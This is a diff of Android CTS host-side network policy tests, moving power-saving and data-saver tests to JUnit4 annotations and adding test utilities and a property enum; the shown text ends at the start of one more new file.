diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
index b1a2186..c9edda6 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
@@ -15,9 +15,21 @@
*/
package com.android.cts.net.hostside;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setRestrictBackground;
+import static com.android.cts.net.hostside.Property.APP_STANDBY_MODE;
+import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
+import static com.android.cts.net.hostside.Property.DATA_SAVER_MODE;
+import static com.android.cts.net.hostside.Property.DOZE_MODE;
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
+
import android.os.SystemClock;
import android.util.Log;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
/**
* Test cases for the more complex scenarios where multiple restrictions (like Battery Saver Mode
* and Data Saver Mode) are applied simultaneously.
@@ -29,12 +41,10 @@
public class MixedModesTest extends AbstractRestrictBackgroundNetworkTestCase {
private static final String TAG = "MixedModesTest";
- @Override
+ @Before
public void setUp() throws Exception {
super.setUp();
- if (!isSupported()) return;
-
// Set initial state.
removeRestrictBackgroundWhitelist(mUid);
removeRestrictBackgroundBlacklist(mUid);
@@ -44,12 +54,10 @@
registerBroadcastReceiver();
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
super.tearDown();
- if (!isSupported()) return;
-
try {
setRestrictBackground(false);
} finally {
@@ -57,34 +65,15 @@
}
}
- @Override
- public boolean isSupported() throws Exception {
- if (!isDozeModeEnabled()) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Doze Mode");
- return false;
- }
- return true;
- }
-
/**
* Tests all DS ON and BS ON scenarios from network-policy-restrictions.md on metered networks.
*/
+ @RequiredProperties({DATA_SAVER_MODE, BATTERY_SAVER_MODE, METERED_NETWORK})
+ @Test
public void testDataAndBatterySaverModes_meteredNetwork() throws Exception {
- if (!isBatterySaverSupported()) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Battery saver mode");
- return;
- }
- if (!isSupported()) return;
-
- Log.i(TAG, "testDataAndBatterySaverModes_meteredNetwork() tests");
- if (!setMeteredNetwork()) {
- Log.w(TAG, "testDataAndBatterySaverModes_meteredNetwork() skipped because "
- + "device cannot use a metered network");
- return;
- }
-
+ final MeterednessConfigurationRule meterednessConfiguration
+ = new MeterednessConfigurationRule();
+ meterednessConfiguration.configureNetworkMeteredness(true);
try {
setRestrictBackground(true);
setBatterySaverMode(true);
@@ -137,7 +126,7 @@
removeRestrictBackgroundBlacklist(mUid);
removePowerSaveModeWhitelist(TEST_APP2_PKG);
} finally {
- resetMeteredNetwork();
+ meterednessConfiguration.resetNetworkMeteredness();
}
}
@@ -145,86 +134,75 @@
* Tests all DS ON and BS ON scenarios from network-policy-restrictions.md on non-metered
* networks.
*/
+ @RequiredProperties({DATA_SAVER_MODE, BATTERY_SAVER_MODE, NON_METERED_NETWORK})
+ @Test
public void testDataAndBatterySaverModes_nonMeteredNetwork() throws Exception {
- if (!isBatterySaverSupported()) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Battery saver mode");
- return;
+ final MeterednessConfigurationRule meterednessConfiguration
+ = new MeterednessConfigurationRule();
+ meterednessConfiguration.configureNetworkMeteredness(false);
+ try {
+ setRestrictBackground(true);
+ setBatterySaverMode(true);
+
+ Log.v(TAG, "Not whitelisted for any.");
+ assertBackgroundNetworkAccess(false);
+ assertsForegroundAlwaysHasNetworkAccess();
+ assertBackgroundNetworkAccess(false);
+
+ Log.v(TAG, "Whitelisted for Data Saver but not for Battery Saver.");
+ addRestrictBackgroundWhitelist(mUid);
+ removePowerSaveModeWhitelist(TEST_APP2_PKG);
+ assertBackgroundNetworkAccess(false);
+ assertsForegroundAlwaysHasNetworkAccess();
+ assertBackgroundNetworkAccess(false);
+ removeRestrictBackgroundWhitelist(mUid);
+
+ Log.v(TAG, "Whitelisted for Battery Saver but not for Data Saver.");
+ addPowerSaveModeWhitelist(TEST_APP2_PKG);
+ removeRestrictBackgroundWhitelist(mUid);
+ assertBackgroundNetworkAccess(true);
+ assertsForegroundAlwaysHasNetworkAccess();
+ assertBackgroundNetworkAccess(true);
+ removePowerSaveModeWhitelist(TEST_APP2_PKG);
+
+ Log.v(TAG, "Whitelisted for both.");
+ addRestrictBackgroundWhitelist(mUid);
+ addPowerSaveModeWhitelist(TEST_APP2_PKG);
+ assertBackgroundNetworkAccess(true);
+ assertsForegroundAlwaysHasNetworkAccess();
+ assertBackgroundNetworkAccess(true);
+ removePowerSaveModeWhitelist(TEST_APP2_PKG);
+ assertBackgroundNetworkAccess(false);
+ removeRestrictBackgroundWhitelist(mUid);
+
+ Log.v(TAG, "Blacklisted for Data Saver, not whitelisted for Battery Saver.");
+ addRestrictBackgroundBlacklist(mUid);
+ removePowerSaveModeWhitelist(TEST_APP2_PKG);
+ assertBackgroundNetworkAccess(false);
+ assertsForegroundAlwaysHasNetworkAccess();
+ assertBackgroundNetworkAccess(false);
+ removeRestrictBackgroundBlacklist(mUid);
+
+ Log.v(TAG, "Blacklisted for Data Saver, whitelisted for Battery Saver.");
+ addRestrictBackgroundBlacklist(mUid);
+ addPowerSaveModeWhitelist(TEST_APP2_PKG);
+ assertBackgroundNetworkAccess(true);
+ assertsForegroundAlwaysHasNetworkAccess();
+ assertBackgroundNetworkAccess(true);
+ removeRestrictBackgroundBlacklist(mUid);
+ removePowerSaveModeWhitelist(TEST_APP2_PKG);
+ } finally {
+ meterednessConfiguration.resetNetworkMeteredness();
}
- if (!isSupported()) return;
-
- if (!setUnmeteredNetwork()) {
- Log.w(TAG, "testDataAndBatterySaverModes_nonMeteredNetwork() skipped because network"
- + " is metered");
- return;
- }
- Log.i(TAG, "testDataAndBatterySaverModes_nonMeteredNetwork() tests");
- setRestrictBackground(true);
- setBatterySaverMode(true);
-
- Log.v(TAG, "Not whitelisted for any.");
- assertBackgroundNetworkAccess(false);
- assertsForegroundAlwaysHasNetworkAccess();
- assertBackgroundNetworkAccess(false);
-
- Log.v(TAG, "Whitelisted for Data Saver but not for Battery Saver.");
- addRestrictBackgroundWhitelist(mUid);
- removePowerSaveModeWhitelist(TEST_APP2_PKG);
- assertBackgroundNetworkAccess(false);
- assertsForegroundAlwaysHasNetworkAccess();
- assertBackgroundNetworkAccess(false);
- removeRestrictBackgroundWhitelist(mUid);
-
- Log.v(TAG, "Whitelisted for Battery Saver but not for Data Saver.");
- addPowerSaveModeWhitelist(TEST_APP2_PKG);
- removeRestrictBackgroundWhitelist(mUid);
- assertBackgroundNetworkAccess(true);
- assertsForegroundAlwaysHasNetworkAccess();
- assertBackgroundNetworkAccess(true);
- removePowerSaveModeWhitelist(TEST_APP2_PKG);
-
- Log.v(TAG, "Whitelisted for both.");
- addRestrictBackgroundWhitelist(mUid);
- addPowerSaveModeWhitelist(TEST_APP2_PKG);
- assertBackgroundNetworkAccess(true);
- assertsForegroundAlwaysHasNetworkAccess();
- assertBackgroundNetworkAccess(true);
- removePowerSaveModeWhitelist(TEST_APP2_PKG);
- assertBackgroundNetworkAccess(false);
- removeRestrictBackgroundWhitelist(mUid);
-
- Log.v(TAG, "Blacklisted for Data Saver, not whitelisted for Battery Saver.");
- addRestrictBackgroundBlacklist(mUid);
- removePowerSaveModeWhitelist(TEST_APP2_PKG);
- assertBackgroundNetworkAccess(false);
- assertsForegroundAlwaysHasNetworkAccess();
- assertBackgroundNetworkAccess(false);
- removeRestrictBackgroundBlacklist(mUid);
-
- Log.v(TAG, "Blacklisted for Data Saver, whitelisted for Battery Saver.");
- addRestrictBackgroundBlacklist(mUid);
- addPowerSaveModeWhitelist(TEST_APP2_PKG);
- assertBackgroundNetworkAccess(true);
- assertsForegroundAlwaysHasNetworkAccess();
- assertBackgroundNetworkAccess(true);
- removeRestrictBackgroundBlacklist(mUid);
- removePowerSaveModeWhitelist(TEST_APP2_PKG);
}
/**
* Tests that powersave whitelists works as expected when doze and battery saver modes
* are enabled.
*/
+ @RequiredProperties({DOZE_MODE, BATTERY_SAVER_MODE})
+ @Test
public void testDozeAndBatterySaverMode_powerSaveWhitelists() throws Exception {
- if (!isBatterySaverSupported()) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Battery saver mode");
- return;
- }
- if (!isSupported()) {
- return;
- }
-
setBatterySaverMode(true);
setDozeMode(true);
@@ -250,11 +228,9 @@
* Tests that powersave whitelists works as expected when doze and appIdle modes
* are enabled.
*/
+ @RequiredProperties({DOZE_MODE, APP_STANDBY_MODE})
+ @Test
public void testDozeAndAppIdle_powerSaveWhitelists() throws Exception {
- if (!isSupported()) {
- return;
- }
-
setDozeMode(true);
setAppIdle(true);
@@ -276,11 +252,9 @@
}
}
+ @RequiredProperties({APP_STANDBY_MODE, DOZE_MODE})
+ @Test
public void testAppIdleAndDoze_tempPowerSaveWhitelists() throws Exception {
- if (!isSupported()) {
- return;
- }
-
setDozeMode(true);
setAppIdle(true);
@@ -299,16 +273,9 @@
}
}
+ @RequiredProperties({APP_STANDBY_MODE, BATTERY_SAVER_MODE})
+ @Test
public void testAppIdleAndBatterySaver_tempPowerSaveWhitelists() throws Exception {
- if (!isBatterySaverSupported()) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Battery saver mode");
- return;
- }
- if (!isSupported()) {
- return;
- }
-
setBatterySaverMode(true);
setAppIdle(true);
@@ -330,11 +297,9 @@
/**
* Tests that the app idle whitelist works as expected when doze and appIdle mode are enabled.
*/
+ @RequiredProperties({DOZE_MODE, APP_STANDBY_MODE})
+ @Test
public void testDozeAndAppIdle_appIdleWhitelist() throws Exception {
- if (!isSupported()) {
- return;
- }
-
setDozeMode(true);
setAppIdle(true);
@@ -353,11 +318,9 @@
}
}
+ @RequiredProperties({APP_STANDBY_MODE, DOZE_MODE})
+ @Test
public void testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists() throws Exception {
- if (!isSupported()) {
- return;
- }
-
setDozeMode(true);
setAppIdle(true);
@@ -380,16 +343,9 @@
}
}
+ @RequiredProperties({APP_STANDBY_MODE, BATTERY_SAVER_MODE})
+ @Test
public void testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists() throws Exception {
- if (!isBatterySaverSupported()) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Battery saver mode");
- return;
- }
- if (!isSupported()) {
- return;
- }
-
setBatterySaverMode(true);
setAppIdle(true);
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
index 24dde9d..ed397b9 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
@@ -16,15 +16,26 @@
package com.android.cts.net.hostside;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setRestrictBackground;
+import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
+import static com.android.cts.net.hostside.Property.DATA_SAVER_MODE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
import android.net.Network;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
import java.util.Objects;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
public class NetworkCallbackTest extends AbstractRestrictBackgroundNetworkTestCase {
- private boolean mIsDataSaverSupported;
private Network mNetwork;
private final TestNetworkCallback mTestNetworkCallback = new TestNetworkCallback();
@@ -132,108 +143,122 @@
}
}
- @Override
+ @Before
public void setUp() throws Exception {
super.setUp();
- mIsDataSaverSupported = isDataSaverSupported();
-
mNetwork = mCm.getActiveNetwork();
- // Set initial state.
- setBatterySaverMode(false);
registerBroadcastReceiver();
- if (!mIsDataSaverSupported) return;
- setRestrictBackground(false);
removeRestrictBackgroundWhitelist(mUid);
removeRestrictBackgroundBlacklist(mUid);
assertRestrictBackgroundChangedReceived(0);
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
super.tearDown();
- if (!mIsDataSaverSupported) return;
+ setRestrictBackground(false);
+ setBatterySaverMode(false);
+ }
+ @RequiredProperties({DATA_SAVER_MODE})
+ @Test
+ public void testOnBlockedStatusChanged_dataSaver() throws Exception {
+ // Initial state
+ setBatterySaverMode(false);
+ setRestrictBackground(false);
+
+ final MeterednessConfigurationRule meterednessConfiguration
+ = new MeterednessConfigurationRule();
+ meterednessConfiguration.configureNetworkMeteredness(true);
try {
- resetMeteredNetwork();
+ // Register callback
+ registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
+ mTestNetworkCallback.expectAvailableCallback(mNetwork);
+ mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+ // Enable restrict background
+ setRestrictBackground(true);
+ assertBackgroundNetworkAccess(false);
+ mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
+
+ // Add to whitelist
+ addRestrictBackgroundWhitelist(mUid);
+ assertBackgroundNetworkAccess(true);
+ mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+ // Remove from whitelist
+ removeRestrictBackgroundWhitelist(mUid);
+ assertBackgroundNetworkAccess(false);
+ mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
} finally {
+ meterednessConfiguration.resetNetworkMeteredness();
+ }
+
+ // Set to non-metered network
+ meterednessConfiguration.configureNetworkMeteredness(false);
+ try {
+ assertBackgroundNetworkAccess(true);
+ mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+ // Disable restrict background, should not trigger callback
setRestrictBackground(false);
+ assertBackgroundNetworkAccess(true);
+ mTestNetworkCallback.assertNoCallback();
+ } finally {
+ meterednessConfiguration.resetNetworkMeteredness();
}
}
- public void testOnBlockedStatusChanged_data_saver() throws Exception {
- if (!mIsDataSaverSupported) return;
-
- // Prepare metered wifi
- if (!setMeteredNetwork()) return;
-
- // Register callback
- registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
- mTestNetworkCallback.expectAvailableCallback(mNetwork);
- mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
-
- // Enable restrict background
- setRestrictBackground(true);
- assertBackgroundNetworkAccess(false);
- mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
-
- // Add to whitelist
- addRestrictBackgroundWhitelist(mUid);
- assertBackgroundNetworkAccess(true);
- mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
-
- // Remove from whitelist
- removeRestrictBackgroundWhitelist(mUid);
- assertBackgroundNetworkAccess(false);
- mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
-
- // Set to non-metered network
- setUnmeteredNetwork();
- assertBackgroundNetworkAccess(true);
- mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
-
- // Disable restrict background, should not trigger callback
+ @RequiredProperties({BATTERY_SAVER_MODE})
+ @Test
+ public void testOnBlockedStatusChanged_powerSaver() throws Exception {
+ // Set initial state.
+ setBatterySaverMode(false);
setRestrictBackground(false);
- assertBackgroundNetworkAccess(true);
- mTestNetworkCallback.assertNoCallback();
- }
+ final MeterednessConfigurationRule meterednessConfiguration
+ = new MeterednessConfigurationRule();
+ meterednessConfiguration.configureNetworkMeteredness(true);
+ try {
+ // Register callback
+ registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
+ mTestNetworkCallback.expectAvailableCallback(mNetwork);
+ mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
- public void testOnBlockedStatusChanged_power_saver() throws Exception {
- // Prepare metered wifi
- if (!setMeteredNetwork()) return;
+ // Enable Power Saver
+ setBatterySaverMode(true);
+ assertBackgroundNetworkAccess(false);
+ mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
- // Register callback
- registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
- mTestNetworkCallback.expectAvailableCallback(mNetwork);
- mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
-
- // Enable Power Saver
- setBatterySaverMode(true);
- assertBackgroundNetworkAccess(false);
- mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
-
- // Disable Power Saver
- setBatterySaverMode(false);
- assertBackgroundNetworkAccess(true);
- mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+ // Disable Power Saver
+ setBatterySaverMode(false);
+ assertBackgroundNetworkAccess(true);
+ mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+ } finally {
+ meterednessConfiguration.resetNetworkMeteredness();
+ }
// Set to non-metered network
- setUnmeteredNetwork();
- mTestNetworkCallback.assertNoCallback();
+ meterednessConfiguration.configureNetworkMeteredness(false);
+ try {
+ mTestNetworkCallback.assertNoCallback();
- // Enable Power Saver
- setBatterySaverMode(true);
- assertBackgroundNetworkAccess(false);
- mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
+ // Enable Power Saver
+ setBatterySaverMode(true);
+ assertBackgroundNetworkAccess(false);
+ mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
- // Disable Power Saver
- setBatterySaverMode(false);
- assertBackgroundNetworkAccess(true);
- mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+ // Disable Power Saver
+ setBatterySaverMode(false);
+ assertBackgroundNetworkAccess(true);
+ mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+ } finally {
+ meterednessConfiguration.resetNetworkMeteredness();
+ }
}
// TODO: 1. test against VPN lockdown.
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestUtils.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestUtils.java
new file mode 100644
index 0000000..ca2864c
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestUtils.java
@@ -0,0 +1,255 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.net.hostside;
+
+import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_DISABLED;
+import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
+import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
+import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.wifi.WifiManager;
+import android.text.TextUtils;
+import android.util.Log;
+import android.util.Pair;
+
+import com.android.compatibility.common.util.AppStandbyUtils;
+import com.android.compatibility.common.util.BatteryUtils;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+public class NetworkPolicyTestUtils {
+
+ private static final int TIMEOUT_CHANGE_METEREDNESS_MS = 5000;
+
+ private static ConnectivityManager mCm;
+ private static WifiManager mWm;
+
+ private static Boolean mBatterySaverSupported;
+ private static Boolean mDataSaverSupported;
+ private static Boolean mDozeModeSupported;
+ private static Boolean mAppStandbySupported;
+
+ private NetworkPolicyTestUtils() {}
+
+ public static boolean isBatterySaverSupported() {
+ if (mBatterySaverSupported == null) {
+ mBatterySaverSupported = BatteryUtils.isBatterySaverSupported();
+ }
+ return mBatterySaverSupported;
+ }
+
+ /**
+ * As per CDD requirements, if the device doesn't support data saver mode then
+ * ConnectivityManager.getRestrictBackgroundStatus() will always return
+ * RESTRICT_BACKGROUND_STATUS_DISABLED. So, enable the data saver mode and check if
+ * ConnectivityManager.getRestrictBackgroundStatus() for an app in background returns
+ * RESTRICT_BACKGROUND_STATUS_DISABLED or not.
+ */
+ public static boolean isDataSaverSupported() {
+ if (mDataSaverSupported == null) {
+ assertMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
+ try {
+ setRestrictBackground(true);
+ mDataSaverSupported = !isMyRestrictBackgroundStatus(
+ RESTRICT_BACKGROUND_STATUS_DISABLED);
+ } finally {
+ setRestrictBackground(false);
+ }
+ }
+ return mDataSaverSupported;
+ }
+
+ public static boolean isDozeModeSupported() {
+ if (mDozeModeSupported == null) {
+ final String result = executeShellCommand("cmd deviceidle enabled deep");
+ mDozeModeSupported = result.equals("1");
+ }
+ return mDozeModeSupported;
+ }
+
+ public static boolean isAppStandbySupported() {
+ if (mAppStandbySupported == null) {
+ mAppStandbySupported = AppStandbyUtils.isAppStandbyEnabled();
+ }
+ return mAppStandbySupported;
+ }
+
+ public static boolean isLowRamDevice() {
+ final ActivityManager am = (ActivityManager) getContext().getSystemService(
+ Context.ACTIVITY_SERVICE);
+ return am.isLowRamDevice();
+ }
+
+ public static boolean isActiveNetworkMetered(boolean metered) {
+ return getConnectivityManager().isActiveNetworkMetered() == metered;
+ }
+
+ public static boolean canChangeActiveNetworkMeteredness() {
+ final Network activeNetwork = getConnectivityManager().getActiveNetwork();
+ final NetworkCapabilities networkCapabilities
+ = getConnectivityManager().getNetworkCapabilities(activeNetwork);
+ return networkCapabilities.hasTransport(TRANSPORT_WIFI);
+ }
+
+ public static Pair<String, Boolean> setupMeteredNetwork(boolean metered) throws Exception {
+ if (isActiveNetworkMetered(metered)) {
+ return null;
+ }
+ final String ssid = unquoteSSID(getWifiManager().getConnectionInfo().getSSID());
+ setWifiMeteredStatus(ssid, metered);
+ return Pair.create(ssid, !metered);
+ }
+
+ public static void resetMeteredNetwork(String ssid, boolean metered) throws Exception {
+ setWifiMeteredStatus(ssid, metered);
+ }
+
+ public static void setWifiMeteredStatus(String ssid, boolean metered) throws Exception {
+ assertFalse("SSID should not be empty", TextUtils.isEmpty(ssid));
+ final String cmd = "cmd netpolicy set metered-network " + ssid + " " + metered;
+ executeShellCommand(cmd);
+ assertWifiMeteredStatus(ssid, metered);
+ assertActiveNetworkMetered(metered);
+ }
+
+ public static void assertWifiMeteredStatus(String ssid, boolean expectedMeteredStatus) {
+ final String result = executeShellCommand("cmd netpolicy list wifi-networks");
+ final String expectedLine = ssid + ";" + expectedMeteredStatus;
+ assertTrue("Expected line: " + expectedLine + "; Actual result: " + result,
+ result.contains(expectedLine));
+ }
+
+ // Copied from cts/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+ public static void assertActiveNetworkMetered(boolean expectedMeteredStatus) throws Exception {
+ final CountDownLatch latch = new CountDownLatch(1);
+ final NetworkCallback networkCallback = new NetworkCallback() {
+ @Override
+ public void onCapabilitiesChanged(Network network, NetworkCapabilities nc) {
+ final boolean metered = !nc.hasCapability(NET_CAPABILITY_NOT_METERED);
+ if (metered == expectedMeteredStatus) {
+ latch.countDown();
+ }
+ }
+ };
+ // Registering a callback here guarantees onCapabilitiesChanged is called immediately
+ // with the current setting. Therefore, if the setting has already been changed,
+ // this method will return right away, and if not it will wait for the setting to change.
+ getConnectivityManager().registerDefaultNetworkCallback(networkCallback);
+ if (!latch.await(TIMEOUT_CHANGE_METEREDNESS_MS, TimeUnit.MILLISECONDS)) {
+ fail("Timed out waiting for active network metered status to change to "
+ + expectedMeteredStatus + " ; network = "
+ + getConnectivityManager().getActiveNetwork());
+ }
+ getConnectivityManager().unregisterNetworkCallback(networkCallback);
+ }
+
+ public static void setRestrictBackground(boolean enabled) {
+ executeShellCommand("cmd netpolicy set restrict-background " + enabled);
+ final String output = executeShellCommand("cmd netpolicy get restrict-background");
+ final String expectedSuffix = enabled ? "enabled" : "disabled";
+ assertTrue("output '" + output + "' should end with '" + expectedSuffix + "'",
+ output.endsWith(expectedSuffix));
+ }
+
+ public static boolean isMyRestrictBackgroundStatus(int expectedStatus) {
+ final int actualStatus = getConnectivityManager().getRestrictBackgroundStatus();
+ if (expectedStatus != actualStatus) {
+ Log.d(TAG, "MyRestrictBackgroundStatus: "
+ + "Expected: " + restrictBackgroundValueToString(expectedStatus)
+ + "; Actual: " + restrictBackgroundValueToString(actualStatus));
+ return false;
+ }
+ return true;
+ }
+
+ // Copied from cts/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+ private static String unquoteSSID(String ssid) {
+ // SSID is returned surrounded by quotes if it can be decoded as UTF-8.
+ // Otherwise it's guaranteed not to start with a quote.
+ if (ssid.charAt(0) == '"') {
+ return ssid.substring(1, ssid.length() - 1);
+ } else {
+ return ssid;
+ }
+ }
+
+ public static String restrictBackgroundValueToString(int status) {
+ switch (status) {
+ case RESTRICT_BACKGROUND_STATUS_DISABLED:
+ return "DISABLED";
+ case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
+ return "WHITELISTED";
+ case RESTRICT_BACKGROUND_STATUS_ENABLED:
+ return "ENABLED";
+ default:
+ return "UNKNOWN_STATUS_" + status;
+ }
+ }
+
+ public static String executeShellCommand(String command) {
+ final String result = runShellCommand(command).trim();
+ Log.d(TAG, "Output of '" + command + "': '" + result + "'");
+ return result;
+ }
+
+ public static void assertMyRestrictBackgroundStatus(int expectedStatus) {
+ final int actualStatus = getConnectivityManager().getRestrictBackgroundStatus();
+ assertEquals(restrictBackgroundValueToString(expectedStatus),
+ restrictBackgroundValueToString(actualStatus));
+ }
+
+ public static ConnectivityManager getConnectivityManager() {
+ if (mCm == null) {
+ mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+ }
+ return mCm;
+ }
+
+ public static WifiManager getWifiManager() {
+ if (mWm == null) {
+ mWm = (WifiManager) getContext().getSystemService(Context.WIFI_SERVICE);
+ }
+ return mWm;
+ }
+
+ public static Context getContext() {
+ return getInstrumentation().getContext();
+ }
+
+ public static Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/Property.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/Property.java
new file mode 100644
index 0000000..18805f9
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/Property.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net.hostside;
+
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.canChangeActiveNetworkMeteredness;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isActiveNetworkMetered;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isAppStandbySupported;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isBatterySaverSupported;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isDataSaverSupported;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isDozeModeSupported;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isLowRamDevice;
+
+public enum Property {
+ BATTERY_SAVER_MODE(1 << 0) {
+ public boolean isSupported() { return isBatterySaverSupported(); }
+ },
+
+ DATA_SAVER_MODE(1 << 1) {
+ public boolean isSupported() { return isDataSaverSupported(); }
+ },
+
+ NO_DATA_SAVER_MODE(~DATA_SAVER_MODE.getValue()) {
+ public boolean isSupported() { return !isDataSaverSupported(); }
+ },
+
+ DOZE_MODE(1 << 2) {
+ public boolean isSupported() { return isDozeModeSupported(); }
+ },
+
+ APP_STANDBY_MODE(1 << 3) {
+ public boolean isSupported() { return isAppStandbySupported(); }
+ },
+
+ NOT_LOW_RAM_DEVICE(1 << 4) {
+ public boolean isSupported() { return !isLowRamDevice(); }
+ },
+
+ METERED_NETWORK(1 << 5) {
+ public boolean isSupported() {
+ return isActiveNetworkMetered(true) || canChangeActiveNetworkMeteredness();
+ }
+ },
+
+ NON_METERED_NETWORK(~METERED_NETWORK.getValue()) {
+ public boolean isSupported() {
+ return isActiveNetworkMetered(false) || canChangeActiveNetworkMeteredness();
+ }
+ };
+
+ private int mValue;
+
+ Property(int value) { mValue = value; }
+
+ public int getValue() { return mValue; }
+
+ abstract boolean isSupported();
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredProperties.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredProperties.java
new file mode 100644
index 0000000..96838bb
--- /dev/null
